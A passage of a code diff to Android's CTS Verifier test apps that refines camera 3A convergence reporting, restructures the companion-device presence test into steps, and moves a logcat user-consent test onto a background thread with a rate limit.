boolean triggering = false;
// Trigger AE first.
- if (doAE && !triggeredAE) {
+ if (mDoAE && !triggeredAE) {
Logt.i(TAG, "Triggering AE");
req.set(CaptureRequest.CONTROL_AE_PRECAPTURE_TRIGGER,
CaptureRequest.CONTROL_AE_PRECAPTURE_TRIGGER_START);
@@ -1562,7 +1561,7 @@
}
// After AE has converged, trigger AF.
- if (doAF && !triggeredAF && (!doAE || (triggeredAE && mConvergedAE))) {
+ if (mDoAF && !triggeredAF && (!mDoAE || (triggeredAE && mConvergedAE))) {
Logt.i(TAG, "Triggering AF");
req.set(CaptureRequest.CONTROL_AF_TRIGGER,
CaptureRequest.CONTROL_AF_TRIGGER_START);
@@ -2120,7 +2119,7 @@
throw new ItsException("Cannot record preview before API level 33");
}
- boolean stabilizationSupported = !isVideoStabilizationModeSupported(
+ boolean stabilizationSupported = isVideoStabilizationModeSupported(
CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_PREVIEW_STABILIZATION);
if (stabilize && !stabilizationSupported) {
throw new ItsException("Preview stabilization requested, but not supported by device.");
@@ -2863,6 +2862,8 @@
private boolean aeResultSent = false;
private boolean awbResultSent = false;
private boolean afResultSent = false;
+ private CameraCharacteristics c = mCameraCharacteristics;
+ private boolean isFixedFocusLens = isFixedFocusLens(c);
@Override
public void onCaptureStarted(CameraCaptureSession session, CaptureRequest request,
@@ -2907,66 +2908,74 @@
CaptureResult.CONTROL_AWB_STATE_LOCKED;
}
- if (mConvergedAE && (!mNeedsLockedAE || mLockedAE) && !aeResultSent) {
- aeResultSent = true;
- if (result.get(CaptureResult.SENSOR_SENSITIVITY) != null
- && result.get(CaptureResult.SENSOR_EXPOSURE_TIME) != null) {
- mSocketRunnableObj.sendResponse("aeResult", String.format("%d %d",
- result.get(CaptureResult.SENSOR_SENSITIVITY).intValue(),
- result.get(CaptureResult.SENSOR_EXPOSURE_TIME).intValue()
- ));
- } else {
- Logt.i(TAG, String.format(
- "AE converged but NULL exposure values, sensitivity:%b, expTime:%b",
- result.get(CaptureResult.SENSOR_SENSITIVITY) == null,
- result.get(CaptureResult.SENSOR_EXPOSURE_TIME) == null));
+ if((mConvergedAE || !mDoAE) && mConvergedAWB &&
+ (!mDoAF || isFixedFocusLens || mConvergedAF)){
+ if ((!mNeedsLockedAE || mLockedAE) && !aeResultSent) {
+ aeResultSent = true;
+ if (result.get(CaptureResult.SENSOR_SENSITIVITY) != null
+ && result.get(CaptureResult.SENSOR_EXPOSURE_TIME) != null) {
+ mSocketRunnableObj.sendResponse("aeResult", String.format("%d %d",
+ result.get(CaptureResult.SENSOR_SENSITIVITY).intValue(),
+ result.get(CaptureResult.SENSOR_EXPOSURE_TIME).intValue()
+ ));
+ } else {
+ Logt.i(TAG, String.format(
+ "AE converged but NULL exposure values, sensitivity:%b,"
+ + " expTime:%b",
+ result.get(CaptureResult.SENSOR_SENSITIVITY) == null,
+ result.get(CaptureResult.SENSOR_EXPOSURE_TIME) == null));
+ }
}
- }
-
- if (mConvergedAF && !afResultSent) {
- afResultSent = true;
- if (result.get(CaptureResult.LENS_FOCUS_DISTANCE) != null) {
- mSocketRunnableObj.sendResponse("afResult", String.format("%f",
- result.get(CaptureResult.LENS_FOCUS_DISTANCE)
- ));
- } else {
- Logt.i(TAG, "AF converged but NULL focus distance values");
+ if (!afResultSent) {
+ afResultSent = true;
+ if (result.get(CaptureResult.LENS_FOCUS_DISTANCE) != null) {
+ mSocketRunnableObj.sendResponse("afResult", String.format("%f",
+ result.get(CaptureResult.LENS_FOCUS_DISTANCE)
+ ));
+ } else {
+ Logt.i(TAG, "AF converged but NULL focus distance values");
+ }
}
- }
-
- if (mConvergedAWB && (!mNeedsLockedAWB || mLockedAWB) && !awbResultSent) {
- awbResultSent = true;
- if (result.get(CaptureResult.COLOR_CORRECTION_GAINS) != null
- && result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM) != null) {
- mSocketRunnableObj.sendResponse("awbResult", String.format(
- "%f %f %f %f %f %f %f %f %f %f %f %f %f",
- result.get(CaptureResult.COLOR_CORRECTION_GAINS).getRed(),
- result.get(CaptureResult.COLOR_CORRECTION_GAINS).getGreenEven(),
- result.get(CaptureResult.COLOR_CORRECTION_GAINS).getGreenOdd(),
- result.get(CaptureResult.COLOR_CORRECTION_GAINS).getBlue(),
- r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
- getElement(0,0)),
- r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
- getElement(1,0)),
- r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
- getElement(2,0)),
- r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
- getElement(0,1)),
- r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
- getElement(1,1)),
- r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
- getElement(2,1)),
- r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
- getElement(0,2)),
- r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
- getElement(1,2)),
- r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
- getElement(2,2))));
- } else {
- Logt.i(TAG, String.format(
- "AWB converged but NULL color correction values, gains:%b, ccm:%b",
- result.get(CaptureResult.COLOR_CORRECTION_GAINS) == null,
- result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM) == null));
+ if ((!mNeedsLockedAWB || mLockedAWB) && !awbResultSent) {
+ awbResultSent = true;
+ if (result.get(CaptureResult.COLOR_CORRECTION_GAINS) != null
+ && result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM) != null) {
+ mSocketRunnableObj.sendResponse("awbResult", String.format(
+ "%f %f %f %f %f %f %f %f %f %f %f %f %f",
+ result.get(CaptureResult.COLOR_CORRECTION_GAINS).
+ getRed(),
+ result.get(CaptureResult.COLOR_CORRECTION_GAINS).
+ getGreenEven(),
+ result.get(CaptureResult.COLOR_CORRECTION_GAINS).
+ getGreenOdd(),
+ result.get(CaptureResult.COLOR_CORRECTION_GAINS).
+ getBlue(),
+ r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+ getElement(0,0)),
+ r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+ getElement(1,0)),
+ r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+ getElement(2,0)),
+ r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+ getElement(0,1)),
+ r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+ getElement(1,1)),
+ r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+ getElement(2,1)),
+ r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+ getElement(0,2)),
+ r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+ getElement(1,2)),
+ r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+ getElement(2,2))));
+ } else {
+ Logt.i(TAG, String.format(
+ "AWB converged but NULL color correction values, gains:%b,"
+ + " ccm:%b",
+ result.get(CaptureResult.COLOR_CORRECTION_GAINS) == null,
+ result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM) ==
+ null));
+ }
}
}
}
@@ -3116,4 +3125,10 @@
throw new ItsException("Uknown reprocess format: " + reprocessFormat);
}
+
+ private boolean isFixedFocusLens(CameraCharacteristics c) {
+ Float minFocusDistance = c.get(
+ CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE);
+ return (minFocusDistance != null) && (minFocusDistance == 0.0);
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
index 4d443a7..b8b9602 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
@@ -16,93 +16,141 @@
package com.android.cts.verifier.companion;
-import android.bluetooth.BluetoothDevice;
+import static android.view.View.INVISIBLE;
+import static android.view.View.VISIBLE;
+
+import android.companion.AssociationInfo;
import android.companion.AssociationRequest;
import android.companion.BluetoothDeviceFilter;
import android.companion.CompanionDeviceManager;
+import android.companion.CompanionDeviceService;
import android.content.Intent;
import android.content.IntentSender;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.os.Handler;
+import android.os.Looper;
import android.util.Log;
+import android.view.ViewGroup;
import android.widget.Button;
+import android.widget.TextView;
import android.widget.Toast;
import com.android.compatibility.common.util.CddTest;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-import java.util.List;
+import java.util.ArrayList;
/**
- * Test that Companion Device Awake {@link CompanionDeviceService} API is functional
+ * Test that Companion Device Awake {@link CompanionDeviceService} API is functional.
*/
-@CddTest(requirement = "3.16/C-1-2,C-1-3,H-1-1")
-public class CompanionDeviceServiceTestActivity extends PassFailButtons.Activity{
- private static final String LOG_TAG = "=CDMServiceTestActivity";
- private static final long DEVICE_GONE_BUTTON_ENABLE_WINDOW = 150000; // 2.5 minutes.
- private static final long DEVICE_PRESENT_BUTTON_ENABLE_WINDOW = 10000; // 10 seconds.
+@CddTest(requirements = {"3.16/C-1-2", "C-1-3", "H-1-1"})
+public class CompanionDeviceServiceTestActivity extends PassFailButtons.Activity {
+ private static final String LOG_TAG = "CDMServiceTestActivity";
private static final int REQUEST_CODE_CHOOSER = 0;
+ private final ArrayList<TestStep> mTests = new ArrayList<>();
+
private CompanionDeviceManager mCompanionDeviceManager;
- private Handler mHandler;
+ private TextView mTestTitle;
+ private TextView mTestDescription;
+ private ViewGroup mTestStepButtonLayout;
+ private Button mTestAction;
+ private Button mTestStepPassed;
+ private Button mTestStepFailed;
+ private int mCurrentTestIndex;
+ private AssociationInfo mCurrentAssociation;
- private Button mPresentButton;
- private Button mGoneButton;
+ // Test state verification loop will be launched on a new thread.
+ // Null until first verification is required.
+ private Runnable mVerifier;
+ private Handler mHandler;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.companion_service_test_main);
- setPassFailButtonClickListeners();
- mPresentButton = (Button) findViewById(R.id.present_button);
- mGoneButton = (Button) findViewById(R.id.gone_button);
- mPresentButton.setEnabled(false);
- mGoneButton.setEnabled(false);
+
+ mTestTitle = findViewById(R.id.companion_service_test_title);
+ mTestDescription = findViewById(R.id.companion_service_test_description);
+ mTestAction = findViewById(R.id.companion_service_test_button);
+ mTestStepButtonLayout = findViewById(R.id.button_layout);
+ mTestStepPassed = findViewById(R.id.test_step_passed);
+ mTestStepFailed = findViewById(R.id.test_step_failed);
+
+ mCurrentTestIndex = -1;
+ mCurrentAssociation = null;
+ mVerifier = null;
+ mHandler = new Handler(Looper.myLooper());
mCompanionDeviceManager = getSystemService(CompanionDeviceManager.class);
- mHandler = new Handler();
-
- getPassButton().setEnabled(false);
-
- findViewById(R.id.go_button).setOnClickListener(v -> associateDevices());
-
- }
-
- private void associateDevices() {
- if (!getApplicationContext().getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_BLUETOOTH)) {
- Log.d(LOG_TAG, "PackageManager.FEATURE_BLUETOOTH not supported."
- + "This test case is not applicable");
- getPassButton().setEnabled(true);
- return;
+ if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_BLUETOOTH)) {
+ // Cannot move forward if bluetooth feature is not supported on the device.
+ mTests.add(new BluetoothFeatureTestStep());
+ } else {
+ // Add tests.
+ mTests.add(new DeviceAssociationTestStep());
+ mTests.add(new DevicePresentTestStep());
+ mTests.add(new DeviceGoneTestStep());
+ mTests.add(new DeviceDisassociationTestStep());
}
- AssociationRequest request = new AssociationRequest.Builder()
- .addDeviceFilter(new BluetoothDeviceFilter.Builder().build())
- .build();
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ setInfoResources(R.string.companion_service_test, R.string.companion_service_test_info, -1);
+ runNextTestOrShowSummary();
+ cleanUp();
+ }
- CompanionDeviceManager.Callback callback = new CompanionDeviceManager.Callback() {
- @Override
- public void onDeviceFound(IntentSender chooserLauncher) {
- try {
- startIntentSenderForResult(chooserLauncher,
- REQUEST_CODE_CHOOSER, null, 0, 0, 0);
- } catch (IntentSender.SendIntentException e) {
- fail(e);
- }
- }
+ /**
+ * Get association info with matching ID. Returns null if no match.
+ */
+ private AssociationInfo getAssociation(int id) {
+ for (AssociationInfo association : mCompanionDeviceManager.getMyAssociations()) {
+ if (association.getId() == id) return association;
+ }
+ return null;
+ }
- @Override
- public void onFailure(CharSequence error) {
- fail(error);
+ /** Stop observing to associated device and then disassociate. */
+ private void disassociate(AssociationInfo association) {
+ String deviceAddress = association.getDeviceMacAddressAsString();
+ mCompanionDeviceManager.stopObservingDevicePresence(deviceAddress);
+ mCompanionDeviceManager.disassociate(association.getId());
+ Log.d(LOG_TAG, "Disassociated with device: " + deviceAddress);
+ }
+
+ /** Clean up any associated devices from this app. */
+ private void cleanUp() {
+ for (AssociationInfo association : mCompanionDeviceManager.getMyAssociations()) {
+ disassociate(association);
+ }
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ // On "associate()" success
+ if (requestCode == REQUEST_CODE_CHOOSER) {
+ if (resultCode != RESULT_OK) {
+ fail("Activity result code " + resultCode);
+ return;
}
- };
- mCompanionDeviceManager.associate(request, callback, null);
+ AssociationInfo association =
+ data.getParcelableExtra(CompanionDeviceManager.EXTRA_ASSOCIATION,
+ AssociationInfo.class);
+ String deviceAddress = association.getDeviceMacAddressAsString();
+
+ // This test is for bluetooth devices, which should all have a MAC address.
+ if (deviceAddress == null) fail("The device was present but its address was null.");
+
+ mCompanionDeviceManager.startObservingDevicePresence(deviceAddress);
+ mCurrentAssociation = getAssociation(association.getId());
+ Log.d(LOG_TAG, "Associated with device: " + deviceAddress);
+ } else super.onActivityResult(requestCode, resultCode, data);
}
private void fail(Throwable reason) {
@@ -113,73 +161,225 @@
private void fail(CharSequence reason) {
Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
Log.e(LOG_TAG, reason.toString());
+ cleanUp();
setTestResultAndFinish(false);
}
- private void disassociate(String deviceAddress) {
- mCompanionDeviceManager.stopObservingDevicePresence(deviceAddress);
- mCompanionDeviceManager.disassociate(deviceAddress);
- List<String> associations = mCompanionDeviceManager.getAssociations();
+ private TestStep getCurrentTest() {
+ return mTests.get(mCurrentTestIndex);
+ }
- if (associations.contains(deviceAddress)) {
- fail("Disassociating device " + deviceAddress
- + " did not remove it from associations list"
- + associations);
- return;
+ private void runNextTestOrShowSummary() {
+ if (mCurrentTestIndex + 1 >= mTests.size()) {
+ updateViewForCompletionSummary();
+ } else {
+ mCurrentTestIndex++;
+ updateViewForTest(getCurrentTest());
+ }
+ }
+
+ /** Populates the UI based on the provided test step. */
+ private void updateViewForTest(TestStep test) {
+ mTestStepButtonLayout.setVisibility(VISIBLE);
+ mTestTitle.setText(test.mTitleResId);
+ mTestDescription.setText(test.mDescriptionResId);
+
+ // Can't pass until test result is verified.
+ mTestStepPassed.setEnabled(false);
+
+ mTestStepPassed.setOnClickListener(v -> getCurrentTest().onPass());
+ mTestStepFailed.setOnClickListener(v -> getCurrentTest().onFail());
+ mTestAction.setOnClickListener(v -> getCurrentTest().performTestAction());
+
+ if (mVerifier != null) {
+ mHandler.removeCallbacks(mVerifier);
+ }
+
+ // Display test action button if specified.
+ if (test.mButtonTextResId != 0) {
+ mTestAction.setText(test.mButtonTextResId);
+ mTestAction.setVisibility(VISIBLE);
+ } else {
+ mTestAction.setVisibility(INVISIBLE);
+ }
+
+ // Wait for test verification.
+ mVerifier = new Runnable() {
+ @Override
+ public void run() {
+ if (test.verify()) {
+ mTestStepPassed.setEnabled(true);
+ } else {
+ mHandler.postDelayed(this, 3000);
+ }
+ }
+ };
+ mHandler.postDelayed(mVerifier, 1000);
+ }
+
+ /** Populates the UI indicating results of test & updates test buttons as needed */
+ private void updateViewForCompletionSummary() {
+ // No longer need any of these buttons
+ mTestStepButtonLayout.setVisibility(INVISIBLE);
+ mTestAction.setVisibility(INVISIBLE);
+
+ // Can only reach here if all other tests passed. Enable pass button.
+ getPassButton().setEnabled(true);
+ mTestTitle.setText(R.string.companion_service_test_summary_title);
+ mTestDescription.setText(R.string.companion_service_test_summary);
+ }
+
+ /**
+ * This activity specifically tests for CDM interactions with bluetooth devices.
+ * Pass the test if device does not support bluetooth.
+ */
+ private class BluetoothFeatureTestStep extends TestStep {
+ BluetoothFeatureTestStep() {
+ super(R.string.companion_service_bluetooth_feature_title,
+ R.string.companion_service_bluetooth_feature_text);
+ }
+
+ @Override
+ boolean verify() {
+ return true;
}
}
/**
- * Check that if the application receives the CompanionDeviceService.onDeviceDisappeared
- * callback after press the Device Gone button.
+ * Tests that an association can be made with a device and that the app can subscribe
+ * to its presence.
*/
- private void isDeviceGoneTest(String deviceAddress) {
- if (Boolean.FALSE.equals(DevicePresenceListener.sDeviceNearBy)) {
- getPassButton().setEnabled(true);
- disassociate(deviceAddress);
- } else {
- disassociate(deviceAddress);
- fail("Device " + deviceAddress + " should be gone");
+ private class DeviceAssociationTestStep extends TestStep {
+ final CompanionDeviceManager.Callback mCallback =
+ new CompanionDeviceManager.Callback() {
+ @Override
+ public void onAssociationPending(IntentSender chooserLauncher) {
+ try {
+ startIntentSenderForResult(chooserLauncher,
+ REQUEST_CODE_CHOOSER, null, 0, 0, 0);
+ } catch (IntentSender.SendIntentException error) {
+ fail(error);
+ }
+ }
+
+ @Override
+ public void onFailure(CharSequence error) {
+ fail(error);
+ }
+ };
+
+ DeviceAssociationTestStep() {
+ super(R.string.companion_service_associate_title,
+ R.string.companion_service_associate_text,
+ R.string.companion_service_associate_button);
+ }
+
+ @Override
+ void performTestAction() {
+ AssociationRequest request = new AssociationRequest.Builder()
+ .addDeviceFilter(new BluetoothDeviceFilter.Builder().build())
+ .build();
+ mCompanionDeviceManager.associate(request, mCallback, null);
+ }
+
+ @Override
+ boolean verify() {
+ // Check that it is associated and being observed.
+ return mCurrentAssociation != null && mCurrentAssociation.isNotifyOnDeviceNearby();
}
}
/**
- * Check that if the application receives the CompanionDeviceService.onDeviceAppeared
- * callback after press the Device Present button.
+ * Tests that app can correctly detect associated device's presence.
*/
- private void isDevicePresetTest(String deviceAddress) {
- if (Boolean.TRUE.equals(DevicePresenceListener.sDeviceNearBy)) {
- findViewById(R.id.gone_button).setOnClickListener(
- v -> isDeviceGoneTest(deviceAddress));
- mHandler.postDelayed(() -> mGoneButton.setEnabled(true),
- DEVICE_GONE_BUTTON_ENABLE_WINDOW);
- } else {
- disassociate(deviceAddress);
- fail("Device " + deviceAddress + " should be present");
+ private class DevicePresentTestStep extends TestStep {
+ DevicePresentTestStep() {
+ super(R.string.companion_service_present_title,
+ R.string.companion_service_present_text);
+ }
+
+ @Override
+ boolean verify() {
+ return DevicePresenceListener.isDeviceNearby(mCurrentAssociation.getId());
}
}
- @Override
- protected void onActivityResult(int requestCode, int resultCode, Intent data) {
- if (requestCode == REQUEST_CODE_CHOOSER) {
- if (resultCode != RESULT_OK) {
- fail("Activity result code " + resultCode);
- return;
- }
+ /**
+ * Tests that app can correctly detect device's disappearance.
+ */
+ private class DeviceGoneTestStep extends TestStep {
+ DeviceGoneTestStep() {
+ super(R.string.companion_service_gone_title,
+ R.string.companion_service_gone_text);
+ }
- BluetoothDevice associatedDevice = data.getParcelableExtra(
- CompanionDeviceManager.EXTRA_DEVICE);
- String deviceAddress = associatedDevice.getAddress();
- if (deviceAddress != null) {
- findViewById(R.id.present_button).setOnClickListener(
- v -> isDevicePresetTest(deviceAddress));
- mHandler.postDelayed(() -> mPresentButton.setEnabled(true),
- DEVICE_PRESENT_BUTTON_ENABLE_WINDOW);
- mCompanionDeviceManager.startObservingDevicePresence(deviceAddress);
- } else {
- fail("The device was present but its address was null");
- }
+ @Override
+ public boolean verify() {
+ return !DevicePresenceListener.isDeviceNearby(mCurrentAssociation.getId());
+ }
+ }
- } else super.onActivityResult(requestCode, resultCode, data);
+ /**
+ * Tests that device can be correctly disassociated from the app.
+ */
+ private class DeviceDisassociationTestStep extends TestStep {
+ DeviceDisassociationTestStep() {
+ super(R.string.companion_service_disassociate_title,
+ R.string.companion_service_disassociate_text,
+ R.string.companion_service_disassociate_button);
+ }
+
+ @Override
+ void performTestAction() {
+ disassociate(mCurrentAssociation);
+ }
+
+ @Override
+ boolean verify() {
+ // Check that it is no longer associated.
+ return getAssociation(mCurrentAssociation.getId()) == null;
+ }
+ }
+
+ /**
+ * Interface for individual test steps.
+ */
+ private abstract class TestStep {
+ final int mTitleResId;
+ final int mDescriptionResId;
+ final int mButtonTextResId;
+
+ TestStep(int titleResId, int descriptionResId) {
+ this(titleResId, descriptionResId, 0);
+ }
+
+ TestStep(int titleResId, int descriptionResId, int buttonTextResId) {
+ this.mTitleResId = titleResId;
+ this.mDescriptionResId = descriptionResId;
+ this.mButtonTextResId = buttonTextResId;
+ }
+
+ /** Code to run when the button is activated; only used if {@link #mButtonTextResId} != 0 */
+ void performTestAction() {
+ // optional
+ }
+
+ /** Checks device state to see if the test passed. */
+ abstract boolean verify();
+
+ /**
+ * Code to run on failure.
+ */
+ void onPass() {
+ runNextTestOrShowSummary();
+ }
+
+ /**
+ * Code to run on failure.
+ */
+ void onFail() {
+ cleanUp();
+ fail("Test failed manually.");
+ }
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
index c6b18e1..37760d5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
@@ -16,27 +16,45 @@
package com.android.cts.verifier.companion;
+import android.companion.AssociationInfo;
import android.companion.CompanionDeviceService;
+import android.util.Log;
import android.widget.Toast;
+import java.util.HashSet;
+import java.util.Set;
+
/**
- * A Listener for {@Link CompanionDeviceAwakeTestActivity}
+ * A Listener for {@link CompanionDeviceServiceTestActivity}.
*/
public class DevicePresenceListener extends CompanionDeviceService {
- public static Boolean sDeviceNearBy;
+ private static final String LOG_TAG = "CDMServiceTestActivity";
+ private static final Set<Integer> NEARBY_DEVICES = new HashSet<>();
- @Override
- public void onDeviceAppeared(String address) {
- sDeviceNearBy = true;
- Toast.makeText(this, "Device appeared: " + address,
- Toast.LENGTH_LONG).show();
+ /**
+ * Checks if the given association ID is for a device that is nearby.
+ * A device is considered to be "nearby" if its appearance has been detected previously
+ * and its disappearance hasn't been reported yet.
+ * @param associationId association ID of the device to check.
+ * @return true if device is nearby.
+ */
+ public static boolean isDeviceNearby(int associationId) {
+ return NEARBY_DEVICES.contains(associationId);
}
@Override
- public void onDeviceDisappeared(String address) {
- sDeviceNearBy = false;
- Toast.makeText(this, "Device disappeared: " + address,
- Toast.LENGTH_LONG).show();
+ public void onDeviceAppeared(AssociationInfo association) {
+ NEARBY_DEVICES.add(association.getId());
+ String message = "Device appeared: " + association.getDeviceMacAddressAsString();
+ Log.d(LOG_TAG, message);
+ Toast.makeText(this, message, Toast.LENGTH_LONG).show();
}
+ @Override
+ public void onDeviceDisappeared(AssociationInfo association) {
+ NEARBY_DEVICES.remove(association.getId());
+ String message = "Device disappeared: " + association.getDeviceMacAddressAsString();
+ Log.d(LOG_TAG, message);
+ Toast.makeText(this, message, Toast.LENGTH_LONG).show();
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index e7bced9..f6b179c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -80,6 +80,13 @@
}
/**
+ * Checks whether the device requires new user disclaimer acknowledgement for managed user.
+ */
+ public static boolean isNewManagerUserDisclaimerRequired(Context context) {
+ return isAutomotive(context);
+ }
+
+ /**
* Checks whether the device supports file transfer.
*/
public static boolean isUsbFileTransferSupported(Context context) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
index 2fe31d4..ff12bd2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
@@ -22,6 +22,7 @@
import android.app.ActivityManager;
import android.content.Context;
import android.os.Bundle;
+import android.os.SystemClock;
import android.util.Log;
import android.view.View;
import android.widget.Button;
@@ -36,6 +37,8 @@
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
/**
@@ -59,11 +62,14 @@
private static final int NUM_OF_LINES_FG = 10;
private static final int NUM_OF_LINES_BG = 0;
+ private static final int LOG_ACCESS_INTERVAL = 1000 * 60 * 2;
+ private volatile long mLastLogAccess = 0;
private static Context sContext;
private static ActivityManager sActivityManager;
private static String sAppPackageName;
+ private static ExecutorService sExecutorService;
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -71,6 +77,7 @@
sContext = this;
sActivityManager = sContext.getSystemService(ActivityManager.class);
+ sExecutorService = Executors.newSingleThreadExecutor();
// Setup the UI.
setContentView(R.layout.logcat_read_logs);
@@ -105,111 +112,147 @@
* Responsible for running the logcat in foreground and testing the allow button
*/
public void runLogcatInForegroundAllowOnlyOnce() {
- Log.d(TAG, "Inside runLogcatInForeground()");
- BufferedReader reader = null;
- try {
- // Dump the logcat most recent 10 lines before the compile command,
- // and check if there are logs about compiling the test package.
- java.lang.Process logcat = new ProcessBuilder(
- Arrays.asList("logcat", "-b", "system", "-t",
- Integer.toString(NUM_OF_LINES_FG))).start();
- reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
- logcat.waitFor();
+ Log.d(TAG, "Inside runLogcatInForegroundAllowOnlyOnce()");
- List<String> logcatOutput = new ArrayList<>();
- String current;
- Integer lineCount = 0;
- while ((current = reader.readLine()) != null) {
- logcatOutput.add(current);
- lineCount++;
- }
-
- Log.d(TAG, "Logcat system allow line count: " + lineCount);
- Log.d(TAG, "Logcat system allow output: " + logcatOutput);
-
- try {
-
- assertTrue("System log output is null", logcatOutput.size() != 0);
-
- // Check if the logcatOutput is not null. If logcatOutput is null,
- // it throws an assertion error
- assertNotNull(logcatOutput.get(0), "logcat output should not be null");
-
- boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START);
- assertTrue("Allow system log access containe log", allowLog);
-
- boolean allowLineCount = lineCount > NUM_OF_LINES_FG;
- assertTrue("Allow system log access count", allowLineCount);
-
- Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: "
- + lineCount + " larger than: " + allowLineCount);
-
- } catch (AssertionError e) {
- fail("User Consent Allow Testing failed");
- }
-
- } catch (Exception e) {
- Log.e(TAG, "User Consent Testing failed");
- } finally {
- try {
- if (reader != null) {
- reader.close();
- }
- } catch (IOException e) {
- Log.d(TAG, "Could not close reader: " + e.getMessage());
- }
+ if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) {
+ String reason = "Please wait for "
+ + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime())
+ / 1000) + " seconds before running the test.";
+ Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
+ return;
}
+
+ sExecutorService.execute(new Runnable() {
+
+ public void run() {
+ BufferedReader reader = null;
+ try {
+
+ // Dump the logcat most recent 10 lines before the compile command,
+ // and check if there are logs about compiling the test package.
+ java.lang.Process logcat = new ProcessBuilder(
+ Arrays.asList("logcat", "-b", "system", "-t",
+ Integer.toString(NUM_OF_LINES_FG))).start();
+ reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
+ logcat.waitFor();
+
+ List<String> logcatOutput = new ArrayList<>();
+ String current;
+ Integer lineCount = 0;
+ while ((current = reader.readLine()) != null) {
+ logcatOutput.add(current);
+ lineCount++;
+ }
+
+ Log.d(TAG, "Logcat system allow line count: " + lineCount);
+ Log.d(TAG, "Logcat system allow output: " + logcatOutput);
+
+ try {
+
+ assertTrue("System log output is null", logcatOutput.size() != 0);
+
+ // Check if the logcatOutput is not null. If logcatOutput is null,
+ // it throws an assertion error
+ assertNotNull(logcatOutput.get(0), "logcat output should not be null");
+
+ boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START);
+ assertTrue("Allow system log access containe log", allowLog);
+
+ boolean allowLineCount = lineCount > NUM_OF_LINES_FG;
+ assertTrue("Allow system log access count", allowLineCount);
+
+ Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: "
+ + lineCount + " larger than: " + allowLineCount);
+
+ mLastLogAccess = SystemClock.elapsedRealtime();
+
+ } catch (AssertionError e) {
+ fail("User Consent Allow Testing failed");
+ }
+
+ } catch (Exception e) {
+ Log.e(TAG, "User Consent Testing failed");
+ } finally {
+ try {
+ if (reader != null) {
+ reader.close();
+ }
+ } catch (IOException e) {
+ Log.d(TAG, "Could not close reader: " + e.getMessage());
+ }
+ }
+ }
+ });
}
private void fail(CharSequence reason) {
- Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
- Log.e(TAG, reason.toString());
- setTestResultAndFinish(false);
+ runOnUiThread(() -> {
+ Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
+ Log.e(TAG, reason.toString());
